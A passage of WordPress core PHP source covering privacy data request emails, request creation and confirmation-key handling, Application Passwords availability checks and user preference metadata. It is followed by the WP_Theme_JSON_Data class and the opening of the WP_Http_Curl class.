	} elseif ( 'remove_personal_data' === $request->action_name ) {
		$manage_url = admin_url( 'erase-personal-data.php' );
	}
	$action_description = wp_user_request_action_description( $request->action_name );

	/**
	 * Filters the recipient of the data request confirmation notification.
	 *
	 * In a Multisite environment, this will default to the email address of the
	 * network admin because, by default, single site admins do not have the
	 * capabilities required to process requests. Some networks may wish to
	 * delegate those capabilities to a single-site admin, or a dedicated person
	 * responsible for managing privacy requests.
	 *
	 * @since 4.9.6
	 *
	 * @param string          $admin_email The email address of the notification recipient.
	 * @param WP_User_Request $request     The request that is initiating the notification.
	 */
	$admin_email = apply_filters( 'user_request_confirmed_email_to', get_site_option( 'admin_email' ), $request );

	$email_data = array(
		'request'     => $request,
		'user_email'  => $request->email,
		'description' => $action_description,
		'manage_url'  => $manage_url,
		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'     => home_url(),
		'admin_email' => $admin_email,
	);

	$subject = sprintf(
		/* translators: Privacy data request confirmed notification email subject. 1: Site title, 2: Name of the confirmed action. */
		__( '[%1$s] Action Confirmed: %2$s' ),
		$email_data['sitename'],
		$action_description
	);

	/**
	 * Filters the subject of the user request confirmation email.
	 *
	 * @since 4.9.8
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$subject = apply_filters( 'user_request_confirmed_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate SITENAME, USER_EMAIL, DESCRIPTION, MANAGE_URL, SITEURL; those are placeholders. */
	$content = __(
		'Howdy,

A user data privacy request has been confirmed on ###SITENAME###:

User: ###USER_EMAIL###
Request: ###DESCRIPTION###

You can view and manage these data privacy requests here:

###MANAGE_URL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the body of the user request confirmation email.
	 *
	 * The email is sent to an administrator when a user request is confirmed.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###    The name of the site.
	 * ###USER_EMAIL###  The user email for the request.
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###MANAGE_URL###  The URL to manage requests.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 4.9.6
	 * @deprecated 5.8.0 Use {@see 'user_request_confirmed_email_content'} instead.
	 *                   For user erasure fulfillment email content
	 *                   use {@see 'user_erasure_fulfillment_email_content'} instead.
	 *
	 * @param string $content    The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request
	 *     @type string          $description Description of the action being performed
	 *                                        so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$content = apply_filters_deprecated(
		'user_confirmed_action_email_content',
		array( $content, $email_data ),
		'5.8.0',
		sprintf(
			/* translators: 1 & 2: Deprecation replacement options. */
			__( '%1$s or %2$s' ),
			'user_request_confirmed_email_content',
			'user_erasure_fulfillment_email_content'
		)
	);

	/**
	 * Filters the body of the user request confirmation email.
	 *
	 * The email is sent to an administrator when a user request is confirmed.
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###    The name of the site.
	 * ###USER_EMAIL###  The user email for the request.
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###MANAGE_URL###  The URL to manage requests.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content    The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$content = apply_filters( 'user_request_confirmed_email_content', $content, $email_data );

	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###USER_EMAIL###', $email_data['user_email'], $content );
	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
	$content = str_replace( '###MANAGE_URL###', sanitize_url( $email_data['manage_url'] ), $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the user request confirmation email.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$headers = apply_filters( 'user_request_confirmed_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $email_data['admin_email'], $subject, $content, $headers );

	if ( $email_sent ) {
		update_post_meta( $request_id, '_wp_admin_notified', true );
	}
}

/**
 * Notifies the user when their erasure request is fulfilled.
 *
 * Without this, the user would never know if their data was actually erased.
 *
 * @since 4.9.6
 *
 * @param int $request_id The privacy request post ID associated with this request.
 */
function _wp_privacy_send_erasure_fulfillment_notification( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! ( $request instanceof WP_User_Request ) || 'request-completed' !== $request->status ) {
		return;
	}

	$already_notified = (bool) get_post_meta( $request_id, '_wp_user_notified', true );

	if ( $already_notified ) {
		return;
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	/**
	 * Filters the recipient of the data erasure fulfillment notification.
	 *
	 * @since 4.9.6
	 *
	 * @param string          $user_email The email address of the notification recipient.
	 * @param WP_User_Request $request    The request that is initiating the notification.
	 */
	$user_email = apply_filters( 'user_erasure_fulfillment_email_to', $request->email, $request );

	$email_data = array(
		'request'            => $request,
		'message_recipient'  => $user_email,
		'privacy_policy_url' => get_privacy_policy_url(),
		'sitename'           => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'            => home_url(),
	);

	$subject = sprintf(
		/* translators: Erasure request fulfilled notification email subject. %s: Site title. */
		__( '[%s] Erasure Request Fulfilled' ),
		$email_data['sitename']
	);

	/**
	 * Filters the subject of the email sent when an erasure request is completed.
	 *
	 * @since 4.9.8
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_subject'} instead.
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters_deprecated(
		'user_erasure_complete_email_subject',
		array( $subject, $email_data['sitename'], $email_data ),
		'5.8.0',
		'user_erasure_fulfillment_email_subject'
	);

	/**
	 * Filters the subject of the email sent when an erasure request is completed.
	 *
	 * @since 5.8.0
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'user_erasure_fulfillment_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate SITENAME, SITEURL; those are placeholders. */
	$content = __(
		'Howdy,

Your request to erase your personal data on ###SITENAME### has been completed.

If you have any follow-up questions or concerns, please contact the site administrator.

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	if ( ! empty( $email_data['privacy_policy_url'] ) ) {
		/* translators: Do not translate SITENAME, SITEURL, PRIVACY_POLICY_URL; those are placeholders. */
		$content = __(
			'Howdy,

Your request to erase your personal data on ###SITENAME### has been completed.

If you have any follow-up questions or concerns, please contact the site administrator.

For more information, you can also read our privacy policy: ###PRIVACY_POLICY_URL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);
	}

	/**
	 * Filters the body of the data erasure fulfillment notification.
	 *
	 * The email is sent to a user when their data erasure request is fulfilled
	 * by an administrator.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###           The name of the site.
	 * ###PRIVACY_POLICY_URL### Privacy policy page URL.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 4.9.6
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_content'} instead.
	 *                   For user request confirmation email content
	 *                   use {@see 'user_request_confirmed_email_content'} instead.
	 *
	 * @param string $content The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$content = apply_filters_deprecated(
		'user_confirmed_action_email_content',
		array( $content, $email_data ),
		'5.8.0',
		sprintf(
			/* translators: 1 & 2: Deprecation replacement options. */
			__( '%1$s or %2$s' ),
			'user_erasure_fulfillment_email_content',
			'user_request_confirmed_email_content'
		)
	);

	/**
	 * Filters the body of the data erasure fulfillment notification.
	 *
	 * The email is sent to a user when their data erasure request is fulfilled
	 * by an administrator.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###           The name of the site.
	 * ###PRIVACY_POLICY_URL### Privacy policy page URL.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$content = apply_filters( 'user_erasure_fulfillment_email_content', $content, $email_data );

	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###PRIVACY_POLICY_URL###', $email_data['privacy_policy_url'], $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the data erasure fulfillment notification.
	 *
	 * @since 5.4.0
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_headers'} instead.
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters_deprecated(
		'user_erasure_complete_email_headers',
		array( $headers, $subject, $content, $request_id, $email_data ),
		'5.8.0',
		'user_erasure_fulfillment_email_headers'
	);

	/**
	 * Filters the headers of the data erasure fulfillment notification.
	 *
	 * @since 5.8.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'user_erasure_fulfillment_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $user_email, $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( $email_sent ) {
		update_post_meta( $request_id, '_wp_user_notified', true );
	}
}

/**
 * Returns request confirmation message HTML.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id The request ID being confirmed.
 * @return string The confirmation message.
 */
function _wp_privacy_account_request_confirmed_message( $request_id ) {
	$request = wp_get_user_request( $request_id );

	$message  = '<p class="success">' . __( 'Action has been confirmed.' ) . '</p>';
	$message .= '<p>' . __( 'The site administrator has been notified and will fulfill your request as soon as possible.' ) . '</p>';

	if ( $request && in_array( $request->action_name, _wp_privacy_action_request_types(), true ) ) {
		if ( 'export_personal_data' === $request->action_name ) {
			$message  = '<p class="success">' . __( 'Thanks for confirming your export request.' ) . '</p>';
			$message .= '<p>' . __( 'The site administrator has been notified. You will receive a link to download your export via email when they fulfill your request.' ) . '</p>';
		} elseif ( 'remove_personal_data' === $request->action_name ) {
			$message  = '<p class="success">' . __( 'Thanks for confirming your erasure request.' ) . '</p>';
			$message .= '<p>' . __( 'The site administrator has been notified. You will receive an email confirmation when they erase your data.' ) . '</p>';
		}
	}

	/**
	 * Filters the message displayed to a user when they confirm a data request.
	 *
	 * @since 4.9.6
	 *
	 * @param string $message    The message to the user.
	 * @param int    $request_id The ID of the request being confirmed.
	 */
	$message = apply_filters( 'user_request_action_confirmed_message', $message, $request_id );

	return $message;
}

/**
 * Creates and logs a user request to perform a specific action.
 *
 * Requests are stored inside a post type named `user_request` since they can apply to both
 * users on the site, or guests without a user account.
 *
 * @since 4.9.6
 * @since 5.7.0 Added the `$status` parameter.
 *
 * @param string $email_address           User email address. This can be the address of a registered
 *                                        or non-registered user.
 * @param string $action_name             Name of the action that is being confirmed. Required.
 * @param array  $request_data            Misc data you want to send with the verification request and pass
 *                                        to the actions once the request is confirmed.
 * @param string $status                  Optional request status (pending or confirmed). Default 'pending'.
 * @return int|WP_Error                   Returns the request ID if successful, or a WP_Error object on failure.
 */
function wp_create_user_request( $email_address = '', $action_name = '', $request_data = array(), $status = 'pending' ) {
	$email_address = sanitize_email( $email_address );
	$action_name   = sanitize_key( $action_name );

	if ( ! is_email( $email_address ) ) {
		return new WP_Error( 'invalid_email', __( 'Invalid email address.' ) );
	}

	if ( ! in_array( $action_name, _wp_privacy_action_request_types(), true ) ) {
		return new WP_Error( 'invalid_action', __( 'Invalid action name.' ) );
	}

	if ( ! in_array( $status, array( 'pending', 'confirmed' ), true ) ) {
		return new WP_Error( 'invalid_status', __( 'Invalid request status.' ) );
	}

	$user    = get_user_by( 'email', $email_address );
	$user_id = $user && ! is_wp_error( $user ) ? $user->ID : 0;

	// Check for duplicates.
	$requests_query = new WP_Query(
		array(
			'post_type'     => 'user_request',
			'post_name__in' => array( $action_name ), // Action name stored in post_name column.
			'title'         => $email_address,        // Email address stored in post_title column.
			'post_status'   => array(
				'request-pending',
				'request-confirmed',
			),
			'fields'        => 'ids',
		)
	);

	if ( $requests_query->found_posts ) {
		return new WP_Error( 'duplicate_request', __( 'An incomplete personal data request for this email address already exists.' ) );
	}

	$request_id = wp_insert_post(
		array(
			'post_author'   => $user_id,
			'post_name'     => $action_name,
			'post_title'    => $email_address,
			'post_content'  => wp_json_encode( $request_data ),
			'post_status'   => 'request-' . $status,
			'post_type'     => 'user_request',
			'post_date'     => current_time( 'mysql', false ),
			'post_date_gmt' => current_time( 'mysql', true ),
		),
		true
	);

	return $request_id;
}

/**
 * Gets action description from the name and return a string.
 *
 * @since 4.9.6
 *
 * @param string $action_name Action name of the request.
 * @return string Human readable action name.
 */
function wp_user_request_action_description( $action_name ) {
	switch ( $action_name ) {
		case 'export_personal_data':
			$description = __( 'Export Personal Data' );
			break;
		case 'remove_personal_data':
			$description = __( 'Erase Personal Data' );
			break;
		default:
			/* translators: %s: Action name. */
			$description = sprintf( __( 'Confirm the "%s" action' ), $action_name );
			break;
	}

	/**
	 * Filters the user action description.
	 *
	 * @since 4.9.6
	 *
	 * @param string $description The default description.
	 * @param string $action_name The name of the request.
	 */
	return apply_filters( 'user_request_action_description', $description, $action_name );
}

/**
 * Send a confirmation request email to confirm an action.
 *
 * If the request is not already pending, it will be updated.
 *
 * @since 4.9.6
 *
 * @param string $request_id ID of the request created via wp_create_user_request().
 * @return true|WP_Error True on success, `WP_Error` on failure.
 */
function wp_send_user_request( $request_id ) {
	$request_id = absint( $request_id );
	$request    = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return new WP_Error( 'invalid_request', __( 'Invalid personal data request.' ) );
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	$email_data = array(
		'request'     => $request,
		'email'       => $request->email,
		'description' => wp_user_request_action_description( $request->action_name ),
		'confirm_url' => add_query_arg(
			array(
				'action'      => 'confirmaction',
				'request_id'  => $request_id,
				'confirm_key' => wp_generate_user_request_key( $request_id ),
			),
			wp_login_url()
		),
		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'     => home_url(),
	);

	/* translators: Confirm privacy data request notification email subject. 1: Site title, 2: Name of the action. */
	$subject = sprintf( __( '[%1$s] Confirm Action: %2$s' ), $email_data['sitename'], $email_data['description'] );

	/**
	 * Filters the subject of the email sent when an account action is attempted.
	 *
	 * @since 4.9.6
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'user_request_action_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate DESCRIPTION, CONFIRM_URL, SITENAME, SITEURL: those are placeholders. */
	$content = __(
		'Howdy,

A request has been made to perform the following action on your account:

     ###DESCRIPTION###

To confirm this, please click on the following link:
###CONFIRM_URL###

You can safely ignore and delete this email if you do not want to
take this action.

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent when an account action is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###CONFIRM_URL### The link to click on to confirm the account action.
	 * ###SITENAME###    The name of the site.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 4.9.6
	 *
	 * @param string $content Text in the email.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$content = apply_filters( 'user_request_action_email_content', $content, $email_data );

	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
	$content = str_replace( '###CONFIRM_URL###', sanitize_url( $email_data['confirm_url'] ), $content );
	$content = str_replace( '###EMAIL###', $email_data['email'], $content );
	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the email sent when an account action is attempted.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'user_request_action_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $email_data['email'], $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( ! $email_sent ) {
		return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export confirmation email.' ) );
	}

	return true;
}

/**
 * Returns a confirmation key for a user action and stores the hashed version for future comparison.
 *
 * @since 4.9.6
 *
 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
 *
 * @param int $request_id Request ID.
 * @return string Confirmation key.
 */
function wp_generate_user_request_key( $request_id ) {
	global $wp_hasher;

	// Generate something random for a confirmation key.
	$key = wp_generate_password( 20, false );

	// Return the key, hashed.
	if ( empty( $wp_hasher ) ) {
		require_once ABSPATH . WPINC . '/class-phpass.php';
		$wp_hasher = new PasswordHash( 8, true );
	}

	wp_update_post(
		array(
			'ID'            => $request_id,
			'post_status'   => 'request-pending',
			'post_password' => $wp_hasher->HashPassword( $key ),
		)
	);

	return $key;
}

/**
 * Validates a user request by comparing the key with the request's key.
 *
 * @since 4.9.6
 *
 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
 *
 * @param string $request_id ID of the request being confirmed.
 * @param string $key        Provided key to validate.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function wp_validate_user_request_key( $request_id, $key ) {
	global $wp_hasher;

	$request_id       = absint( $request_id );
	$request          = wp_get_user_request( $request_id );
	$saved_key        = $request->confirm_key;
	$key_request_time = $request->modified_timestamp;

	if ( ! $request || ! $saved_key || ! $key_request_time ) {
		return new WP_Error( 'invalid_request', __( 'Invalid personal data request.' ) );
	}

	if ( ! in_array( $request->status, array( 'request-pending', 'request-failed' ), true ) ) {
		return new WP_Error( 'expired_request', __( 'This personal data request has expired.' ) );
	}

	if ( empty( $key ) ) {
		return new WP_Error( 'missing_key', __( 'The confirmation key is missing from this personal data request.' ) );
	}

	if ( empty( $wp_hasher ) ) {
		require_once ABSPATH . WPINC . '/class-phpass.php';
		$wp_hasher = new PasswordHash( 8, true );
	}

	/**
	 * Filters the expiration time of confirm keys.
	 *
	 * @since 4.9.6
	 *
	 * @param int $expiration The expiration time in seconds.
	 */
	$expiration_duration = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );
	$expiration_time     = $key_request_time + $expiration_duration;

	if ( ! $wp_hasher->CheckPassword( $key, $saved_key ) ) {
		return new WP_Error( 'invalid_key', __( 'The confirmation key is invalid for this personal data request.' ) );
	}

	if ( ! $expiration_time || time() > $expiration_time ) {
		return new WP_Error( 'expired_key', __( 'The confirmation key has expired for this personal data request.' ) );
	}

	return true;
}

/**
 * Returns the user request object for the specified request ID.
 *
 * @since 4.9.6
 *
 * @param int $request_id The ID of the user request.
 * @return WP_User_Request|false
 */
function wp_get_user_request( $request_id ) {
	$request_id = absint( $request_id );
	$post       = get_post( $request_id );

	if ( ! $post || 'user_request' !== $post->post_type ) {
		return false;
	}

	return new WP_User_Request( $post );
}

/**
 * Checks if Application Passwords is supported.
 *
 * Application Passwords is supported only by sites using SSL or local environments
 * but may be made available using the {@see 'wp_is_application_passwords_available'} filter.
 *
 * @since 5.9.0
 *
 * @return bool
 */
function wp_is_application_passwords_supported() {
	return is_ssl() || 'local' === wp_get_environment_type();
}

/**
 * Checks if Application Passwords is globally available.
 *
 * By default, Application Passwords is available to all sites using SSL or to local environments.
 * Use the {@see 'wp_is_application_passwords_available'} filter to adjust its availability.
 *
 * @since 5.6.0
 *
 * @return bool
 */
function wp_is_application_passwords_available() {
	/**
	 * Filters whether Application Passwords is available.
	 *
	 * @since 5.6.0
	 *
	 * @param bool $available True if available, false otherwise.
	 */
	return apply_filters( 'wp_is_application_passwords_available', wp_is_application_passwords_supported() );
}

/**
 * Checks if Application Passwords is available for a specific user.
 *
 * By default all users can use Application Passwords. Use {@see 'wp_is_application_passwords_available_for_user'}
 * to restrict availability to certain users.
 *
 * @since 5.6.0
 *
 * @param int|WP_User $user The user to check.
 * @return bool
 */
function wp_is_application_passwords_available_for_user( $user ) {
	if ( ! wp_is_application_passwords_available() ) {
		return false;
	}

	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( ! $user || ! $user->exists() ) {
		return false;
	}

	/**
	 * Filters whether Application Passwords is available for a specific user.
	 *
	 * @since 5.6.0
	 *
	 * @param bool    $available True if available, false otherwise.
	 * @param WP_User $user      The user to check.
	 */
	return apply_filters( 'wp_is_application_passwords_available_for_user', true, $user );
}

/**
 * Registers the user meta property for persisted preferences.
 *
 * This property is used to store user preferences across page reloads and is
 * currently used by the block editor for preferences like 'fullscreenMode' and
 * 'fixedToolbar'.
 *
 * @since 6.1.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_register_persisted_preferences_meta() {
	/*
	 * Create a meta key that incorporates the blog prefix so that each site
	 * on a multisite can have distinct user preferences.
	 */
	global $wpdb;
	$meta_key = $wpdb->get_blog_prefix() . 'persisted_preferences';

	register_meta(
		'user',
		$meta_key,
		array(
			'type'         => 'object',
			'single'       => true,
			'show_in_rest' => array(
				'name'   => 'persisted_preferences',
				'type'   => 'object',
				'schema' => array(
					'type'                 => 'object',
					'context'              => array( 'edit' ),
					'properties'           => array(
						'_modified' => array(
							'description' => __( 'The date and time the preferences were updated.' ),
							'type'        => 'string',
							'format'      => 'date-time',
							'readonly'    => false,
						),
					),
					'additionalProperties' => true,
				),
			),
		)
	);
}

/**
 * Sets the last changed time for the 'users' cache group.
 *
 * @since 6.3.0
 */
function wp_cache_set_users_last_changed() {
	wp_cache_set_last_changed( 'users' );
}

/**
 * Checks if password reset is allowed for a specific user.
 *
 * @since 6.3.0
 *
 * @param int|WP_User $user The user to check.
 * @return bool|WP_Error True if allowed, false or WP_Error otherwise.
 */
function wp_is_password_reset_allowed_for_user( $user ) {
	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( ! $user || ! $user->exists() ) {
		return false;
	}
	$allow = true;
	if ( is_multisite() && is_user_spammy( $user ) ) {
		$allow = false;
	}

	/**
	 * Filters whether to allow a password to be reset.
	 *
	 * @since 2.7.0
	 *
	 * @param bool $allow   Whether to allow the password to be reset. Default true.
	 * @param int  $user_id The ID of the user attempting to reset a password.
	 */
	return apply_filters( 'allow_password_reset', $allow, $user->ID );
}
<?php
/**
 * WP_Theme_JSON_Data class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 6.1.0
 */

/**
 * Class to provide access to update a theme.json structure.
 */
#[AllowDynamicProperties]
class WP_Theme_JSON_Data {

	/**
	 * Container of the data to update.
	 *
	 * @since 6.1.0
	 * @var WP_Theme_JSON
	 */
	private $theme_json = null;

	/**
	 * The origin of the data: default, theme, user, etc.
	 *
	 * @since 6.1.0
	 * @var string
	 */
	private $origin = '';

	/**
	 * Constructor.
	 *
	 * @since 6.1.0
	 *
	 * @link https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/
	 *
	 * @param array  $data   Array following the theme.json specification.
	 * @param string $origin The origin of the data: default, theme, user.
	 */
	public function __construct( $data = array(), $origin = 'theme' ) {
		$this->origin     = $origin;
		$this->theme_json = new WP_Theme_JSON( $data, $this->origin );
	}

	/**
	 * Updates the theme.json with the the given data.
	 *
	 * @since 6.1.0
	 *
	 * @param array $new_data Array following the theme.json specification.
	 *
	 * @return WP_Theme_JSON_Data The own instance with access to the modified data.
	 */
	public function update_with( $new_data ) {
		$this->theme_json->merge( new WP_Theme_JSON( $new_data, $this->origin ) );
		return $this;
	}

	/**
	 * Returns an array containing the underlying data
	 * following the theme.json specification.
	 *
	 * @since 6.1.0
	 *
	 * @return array
	 */
	public function get_data() {
		return $this->theme_json->get_raw_data();
	}
}
<?php
/**
 * HTTP API: WP_Http_Curl class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to integrate Curl as an HTTP transport.
 *
 * HTTP request method uses Curl extension to retrieve the url.
 *
